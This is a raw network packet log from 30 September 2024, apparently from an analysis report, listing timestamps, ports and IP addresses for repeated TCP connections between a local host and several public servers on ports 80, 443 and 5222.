Sep 30, 2024 12:20:58.828763962 CEST	50061	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.828763962 CEST	50061	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.831716061 CEST	443	50060	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.831790924 CEST	50060	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.831792116 CEST	50060	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.832186937 CEST	80	50066	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.839135885 CEST	5222	50063	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.839200020 CEST	50063	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.864705086 CEST	50067	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.864748955 CEST	443	50067	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:58.864845037 CEST	50067	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.865015984 CEST	80	50032	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:58.865065098 CEST	50032	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:58.866003990 CEST	50067	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.866019011 CEST	443	50067	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:58.926032066 CEST	443	50064	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.926106930 CEST	50064	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.926132917 CEST	50064	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.974848032 CEST	50067	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.990842104 CEST	80	50035	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:58.990930080 CEST	50035	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:59.019409895 CEST	443	50067	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.088229895 CEST	50068	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.088260889 CEST	443	50068	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.088339090 CEST	50068	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.089504004 CEST	50068	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.089515924 CEST	443	50068	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.114171982 CEST	80	50039	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:59.114232063 CEST	50039	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:59.198729992 CEST	50068	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.224848986 CEST	80	50042	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:59.224909067 CEST	50042	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:59.243411064 CEST	443	50068	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.297437906 CEST	5222	50065	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.297806978 CEST	50066	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.298748970 CEST	50065	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.303582907 CEST	5222	50065	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.315721035 CEST	50069	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.315752983 CEST	443	50069	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.315824986 CEST	50069	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.316916943 CEST	50069	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.316931963 CEST	443	50069	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.319689035 CEST	80	50044	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.319740057 CEST	50044	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.320817947 CEST	443	50067	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.320919037 CEST	50067	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.320919037 CEST	50067	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.334939957 CEST	80	49714	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:59.335114002 CEST	49714	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:59.348814011 CEST	80	50066	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.379885912 CEST	80	49716	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:59.379949093 CEST	49716	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:59.381433964 CEST	80	50048	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.381484032 CEST	50048	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.406636953 CEST	50065	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.409210920 CEST	50071	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.410541058 CEST	50072	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.411775112 CEST	5222	50065	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.411847115 CEST	50065	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.413958073 CEST	5222	50071	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.414030075 CEST	50071	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.414303064 CEST	50071	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.415316105 CEST	80	50072	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.415407896 CEST	50072	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.415606022 CEST	50072	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.419153929 CEST	5222	50071	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.420418024 CEST	80	50072	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.420471907 CEST	50072	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.422703028 CEST	50069	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.425295115 CEST	80	50072	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.445056915 CEST	80	50051	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:59.445107937 CEST	50051	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:59.467398882 CEST	443	50069	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.471812963 CEST	80	49721	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:59.471868038 CEST	49721	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:59.520668030 CEST	50073	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:59.521847963 CEST	50074	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.521883965 CEST	443	50074	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.521980047 CEST	50074	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.525454044 CEST	5222	50073	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:59.525528908 CEST	50073	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:59.528573990 CEST	50074	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.528590918 CEST	443	50074	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.528856039 CEST	50073	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:59.529499054 CEST	50075	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:59.530590057 CEST	50076	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.530616045 CEST	443	50076	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.530673027 CEST	50076	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.533638954 CEST	5222	50073	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:59.534332037 CEST	80	50075	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:59.534385920 CEST	50075	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:59.534667969 CEST	50075	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:59.535917044 CEST	50076	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.535937071 CEST	443	50076	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.539434910 CEST	80	50075	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:59.539483070 CEST	50075	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:59.544208050 CEST	80	50075	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:59.551176071 CEST	443	50068	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.551253080 CEST	50068	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.551274061 CEST	50068	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.553009987 CEST	80	50054	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:59.553081989 CEST	50054	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:59.616585016 CEST	80	49724	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:59.616647005 CEST	49724	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:59.630784035 CEST	50073	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:59.630899906 CEST	50075	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:59.631222010 CEST	50074	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.632810116 CEST	50077	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:59.633016109 CEST	50078	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.633040905 CEST	443	50078	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.633094072 CEST	50078	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.634212017 CEST	50079	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:59.634243011 CEST	50078	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.634258032 CEST	443	50078	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.637562037 CEST	5222	50077	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:59.637629986 CEST	50077	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:59.637851954 CEST	50077	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:59.639064074 CEST	80	50079	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:59.639117956 CEST	50079	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:59.639251947 CEST	50079	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:59.642591000 CEST	5222	50077	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:59.644035101 CEST	80	50079	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:59.644081116 CEST	50079	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:59.646990061 CEST	50076	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.648821115 CEST	80	50079	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:59.661917925 CEST	80	50058	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:59.661973953 CEST	50058	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:59.671411991 CEST	443	50074	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.676786900 CEST	80	50075	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:59.676800013 CEST	5222	50073	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:59.691401958 CEST	443	50076	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.742911100 CEST	50077	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:59.743172884 CEST	50079	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:59.743400097 CEST	50078	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.745557070 CEST	50080	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:59.745610952 CEST	50081	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.745636940 CEST	443	50081	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.745702028 CEST	50081	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.746917963 CEST	50081	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.746929884 CEST	443	50081	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.747368097 CEST	50082	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:59.748532057 CEST	50083	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.748562098 CEST	443	50083	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.748610020 CEST	50083	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.749874115 CEST	50083	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.749896049 CEST	443	50083	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.750351906 CEST	5222	50080	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:59.750468016 CEST	50080	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:59.750667095 CEST	50080	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:59.752167940 CEST	80	50082	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:59.752222061 CEST	50082	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:59.752423048 CEST	50082	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:59.755445004 CEST	5222	50080	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:59.757227898 CEST	80	50082	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:59.757285118 CEST	50082	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:59.762052059 CEST	80	50082	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:59.774494886 CEST	443	50069	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.774559021 CEST	50069	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.774576902 CEST	50069	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.786770105 CEST	80	50062	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:59.786842108 CEST	50062	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:59.787406921 CEST	443	50078	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.788759947 CEST	80	50079	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:59.788770914 CEST	5222	50077	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:59.855314016 CEST	50080	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:59.855344057 CEST	50081	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.856060028 CEST	50082	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:59.856791019 CEST	50083	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.865314007 CEST	50084	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:59.865528107 CEST	50085	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.865565062 CEST	443	50085	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.865643024 CEST	50085	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.867193937 CEST	50085	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.867213011 CEST	443	50085	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.867257118 CEST	50086	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:59.870132923 CEST	5222	50084	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:59.870207071 CEST	50084	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:59.870440960 CEST	50084	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:59.872092009 CEST	80	50086	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:59.872149944 CEST	50086	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:59.872318983 CEST	50086	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:59.875283957 CEST	5222	50084	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:59.877062082 CEST	80	50086	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:59.877134085 CEST	50086	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:59.881911993 CEST	80	50086	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:59.890368938 CEST	5222	50071	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.890923977 CEST	50072	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.891745090 CEST	50071	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.895414114 CEST	443	50081	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.896492004 CEST	5222	50071	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.897347927 CEST	5222	50073	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:59.897399902 CEST	50073	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:59.900711060 CEST	5222	50080	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:59.903402090 CEST	443	50083	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.908766985 CEST	80	50082	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:59.936765909 CEST	80	50072	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.950139999 CEST	50084	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:59.950417042 CEST	50071	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.950489044 CEST	50086	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:59.950848103 CEST	50085	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.952832937 CEST	50087	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.954133987 CEST	50088	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.954165936 CEST	443	50088	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.954230070 CEST	50088	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.955245018 CEST	5222	50071	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.955382109 CEST	50088	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.955404997 CEST	443	50088	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.956149101 CEST	50089	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.957683086 CEST	5222	50087	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.957743883 CEST	50087	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.957937002 CEST	50087	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.960966110 CEST	80	50089	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.961030960 CEST	50089	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.961178064 CEST	50089	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.962706089 CEST	5222	50087	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.965890884 CEST	80	50089	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.965984106 CEST	50089	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:59.968508959 CEST	50090	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.968538046 CEST	443	50090	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.968625069 CEST	50090	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.969739914 CEST	50090	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.969755888 CEST	443	50090	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.970786095 CEST	80	50089	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:59.984076977 CEST	443	50074	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.984164000 CEST	50074	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.984416962 CEST	50074	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:59.991398096 CEST	443	50085	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:59.994062901 CEST	443	50076	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:59.994121075 CEST	50076	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.994159937 CEST	50076	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:59.996766090 CEST	5222	50084	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:59.996776104 CEST	80	50086	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:59.997832060 CEST	50071	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.002286911 CEST	50091	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.003346920 CEST	5222	50071	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.003427029 CEST	50071	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.003806114 CEST	50092	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.004139900 CEST	5222	50071	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.004187107 CEST	50071	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.004451036 CEST	80	49728	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:00.004520893 CEST	49728	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:00.007572889 CEST	5222	50091	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.007671118 CEST	50091	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.007970095 CEST	50091	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.009895086 CEST	80	50092	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.009953976 CEST	50092	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.010158062 CEST	50092	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.013778925 CEST	5222	50091	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.016136885 CEST	80	50092	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.016222954 CEST	50092	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.021903038 CEST	80	50092	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.030913115 CEST	5222	50077	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.030975103 CEST	50077	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.050749063 CEST	80	49731	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:00.050826073 CEST	49731	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:00.061530113 CEST	50087	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.061716080 CEST	50088	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.062149048 CEST	50089	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.064218998 CEST	50093	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.064407110 CEST	50094	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.064460993 CEST	443	50094	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.064538956 CEST	50094	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.065784931 CEST	50094	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.065815926 CEST	443	50094	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.066118002 CEST	50095	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.069094896 CEST	5222	50093	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.071053028 CEST	80	50095	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.071126938 CEST	50093	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.071126938 CEST	50093	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.071163893 CEST	50095	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.071358919 CEST	50095	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.076124907 CEST	5222	50093	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.076351881 CEST	80	50095	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.076397896 CEST	50095	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.076972008 CEST	50090	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.081271887 CEST	80	50095	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.095520020 CEST	443	50078	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.095617056 CEST	50078	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.095632076 CEST	50078	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.107405901 CEST	443	50088	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.108733892 CEST	80	50089	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.108743906 CEST	5222	50087	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.121239901 CEST	5222	50080	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.121364117 CEST	50080	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.123404980 CEST	443	50090	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.159390926 CEST	80	49733	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:00.161021948 CEST	49733	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:00.170751095 CEST	50093	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.173044920 CEST	50094	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.173053980 CEST	50095	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.173255920 CEST	50096	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.173356056 CEST	443	50096	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.173465967 CEST	50096	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.174755096 CEST	50096	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.174782991 CEST	443	50096	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.175111055 CEST	50097	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.176395893 CEST	50098	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.179867983 CEST	5222	50097	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.181152105 CEST	80	50098	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.181225061 CEST	50097	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.181440115 CEST	50098	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.181440115 CEST	50098	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.181535959 CEST	50097	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.186996937 CEST	80	50098	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.187150955 CEST	5222	50097	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.187244892 CEST	50098	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.188186884 CEST	50099	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.188204050 CEST	443	50099	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.189091921 CEST	50099	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.190330982 CEST	50099	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.190344095 CEST	443	50099	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.192032099 CEST	80	50098	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.213087082 CEST	443	50081	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.213193893 CEST	50081	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.213716984 CEST	50081	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.215413094 CEST	443	50094	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.215809107 CEST	443	50083	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.215874910 CEST	50083	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.215876102 CEST	50083	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.216984987 CEST	5222	50093	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.224968910 CEST	80	50095	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.241141081 CEST	5222	50084	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:00.245208025 CEST	50084	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.256707907 CEST	80	50066	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.257133007 CEST	50066	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.282972097 CEST	50097	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.283135891 CEST	50098	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.283735037 CEST	50096	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.285648108 CEST	50100	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.285818100 CEST	50101	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.285835981 CEST	443	50101	172.65.251.78	192.168.2.5
